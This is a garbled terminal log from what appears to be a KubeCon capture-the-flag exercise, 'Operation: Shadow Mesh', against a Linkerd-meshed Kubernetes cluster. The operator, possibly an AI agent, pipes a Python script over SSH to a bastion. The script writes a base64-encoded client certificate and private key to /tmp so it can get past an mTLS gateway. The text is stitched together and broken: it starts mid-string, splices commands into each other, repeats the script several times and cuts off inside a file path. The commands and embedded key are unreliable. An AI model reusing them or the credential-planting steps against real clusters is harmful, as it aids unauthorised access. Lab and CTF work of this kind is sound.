hlVTVOTkdzeFZWSTFOVWxhTmpoMVdHUk9VazVHVTFwelNHdHFVMnBKTDFKd01sRlRjbFp5ZDBNS1drTnFSVWgyTm5KV2VtMVhkakZ2YUZJd01UWTFUVXh4Y1daVWRuUkROVnBLTXpnNU1GTmxVekJuYUZaMWMyOW1hM2M1TldwTWNHazBjbXg0VldKNFpncHBUa1pzV1VNMU5GQTJTVmRKT0hjdlVuTXZOMmxJV1ZadmFVeGlXRlJaT1hORGRVUjRUblpCY1VwVlozQnNkMGgxWVhZck5HMXRPV012ZW0xMVJEWXJDbXREVkM4clRqaHlRV2ROUWtGQlJVTm5aMFZCUTJwSk56TjBRbGRtUnpFNGVqRnpRMHBXZFdOMlpHWmlhMUJSVVdaQ1EwVTVaV1psWWxaQ1VtbHhkamtLTUVWd2NrSkNPRmt4U1VkcE5UTnFWbTh2WTFJeFRtcExTMGxuZEhGWFkzSllkMnB0ZFZWWFZYaGxRak13UkVSVVRuQlhPVnA1T1c1RGNXNVlTV0p1WkFwU01YWkxXVVp1UjJOMGVGb3hiVzFvWkZwTmRHbDZka1owTDI1NU9WbDJieTlCVWpWSWNFWktlRTFYV25WM1dHSnNUVkJPVWxZM1VubFlSbHBrYjJ3NENtWmlkSGxoUmtzd2RXWTNUMGtyY2xoa1RrNWhlblFyU0hSUVptWnNjSFJhVWtoNGR5OVhVMmw2T0hsbGRWQjVRVE52WVdFdmJIQlhiMjF1WTBNMlZUUUtaWHBKYnpaaWFVeEVXRmd5S3pnd2JsYzJiRkk0Vm5aUWEwZGFMMUIxWTJsTWEzYzNlbmhKYkRORFpVMXRWR3hDUjI5aGVtbFNhR000WWtSWUszQmlPQXBXUjBKWGQzWTNWREpGTWs0elNFazFRbXhDVGxOT1lXZHljMFp1ZUVGMGRGcHlhVVJOZVV0UlZWRkxRbWRSUkdscFVXOVNNWEpJYkhkUE1tRnJSRzVvQ2lzMU9WcEZUVnBsUkc5TVNrMVNOSGtyYVVveWNHWTFWM1ozUjFsRWFWRnJOWFJNYzNGa1ZXWk9NMkV3U1M5Wk5GUlRZVXRuVEZrcmJDczJaQ3RLV0hNS0x6ZHBORTlZYmt0RlNHdFplRTlTWWsxaGNVMWpOR0paYWxWVFUyOW1PRzlEVGxwR2MxQnphRmgxVmtSUlRGSnlMMGhvVjA5bkszWmxRMjFXZWt4UFN3b3laMWhqY2tkTVVtZGhVRW8wWVdJMVVVZzJXbkJYU2pCV1VVdENaMUZFUm5adVNXcEdha2xHV210eVdGVktUVlJyV2tSTVVqWnVOR0ZXZVRnMFZIWllDbWcyZHpsTFlubFNNbXBGTVZoT1prdDNha3d3Y1ZrelpUSXdSazB3VEV4R1YyRjBNbTk0Y2tGUU5IWldOM1V3YkZGVlYzVkNLMDFMUjI0dk1rVkxTMlFLVm1aMGJ6VlhMMGwyY21wM1VHdEdhMUpxYUVGbmMwMTVPREZQVWxFd1NscHJXV3d5Um1wTFNHSnNhRmx5UzNjMEwzWlRlbTFhUVhsM1UyZHlaekJ6U3dwa
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'aW1wb3J0IGJhc2U2NApjZXJ0X2I2NCA9ICJMUzB0TFMxxQ1JVZEpUaUJEUlZKVVNVWkpRMEZVUlMwdExTMHRDazFKU1VSSFJFTkRRV2REWjBGM1NVSkJaMGxWUjA55SlRFcE9XU3R0ZG1oQ1FUaE1ZbUpQTTJ3NGVXUXJZbWx2ZDBSUldVcExiMXBKYUhaalRrRlJSVXdLUWxGGQmQweEVSVlZOUWtsSFFURlZSVU5uZDB4VVIyeDFZVEpXZVZwRE1VUldSVmw0UmtSQlUwSm5UbFpDUVUxxTlF6QjRjR0p0ZEd4amJWRjBVVEZTUndwTlFqUllSRlJKTWsxRVNYaFBSRUUwVGxSbmVrNVdiMWhFVkUwweVRVUkplRTVxUVRST1ZHZDZUbFp2ZDBoRVJXRk5RbWRIUVRGVlJVRjNkMUpVUjJ4MUNtRXlWbmxhUlU11ellWZFdkV1JHVm5wYVdFbDNaMmRGYVUxQk1FZERVM0ZIVTBsaU0wUlJSVUpCVVZWQlFUUkpRa1IzUVhkkblowVkxRVzlKUWtGUlEzV# Write the cert as a file to be SCP'd or piped
# Use a simpler approach - write the cert/key via SSH stdin, line by line
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
python3 -c "
import base64,urllib.request,ssl
# Write cert
c='LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UK'
c+='Ky90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oK'
c+='SS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMK'
c+='YTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s1WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIK'
c+='U29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=='
open('/tmp/c.crt','wb').write(base64.b64decode(c))
# Write key
k='LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cK'
k+='VnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MK'
k+='WkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkK'
k+='MEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQK'
k+='ZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMK'
k+='LzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QK'
k+='VmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYK'
k+='VFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oK'
k+='UnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K'
open('/tmp/c.key','wb').write(base64.b64decode(k))
print('OK')
import hashlib
print(hashlib.md5(open('/tmp/c.crt','rb').read()).hexdigest())
print(hashlib.md5(open('/tmp/c.key','rb').read()).hexdigest())
"
exit
SSHEOF_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
python3 -c "
import base64,urllib.request,ssl
# Write cert
c='LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UK'
c+='Ky90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oK'
c+='SS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMK'
c+='YTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s1WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIK'
c+='U29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=='
open('/tmp/c.crt','wb').write(base64.b64decode(c))
# Write key
k='LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cK'
k+='VnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MK'
k+='WkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkK'
k+='MEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQK'
k+='ZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMK'
k+='LzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QK'
k+='VmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYK'
k+='VFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oK'
k+='UnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K'
open('/tmp/c.key','wb').write(base64.b64decode(k))
print('OK')
import hashlib
print(hashlib.md5(open('/python3 -c "
import base64,urllib.request,ssl
# Write cert
c='LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UK'
c+='Ky90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oK'
c+='SS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMK'
c+='YTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s1WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIK'
c+='U29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=='
open('/tmp/c.crt','wb').write(base64.b64decode(c))
# Write key
k='LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cK'
k+='VnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MK'
k+='WkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkK'
k+='MEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQK'
k+='ZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMK'
k+='LzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QK'
k+='VmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYK'
k+='VFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oK'
k+='UnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K'
open('/tmp/c.key','wb').write(base64.b64decode(k))
print('OK')
import hashlib
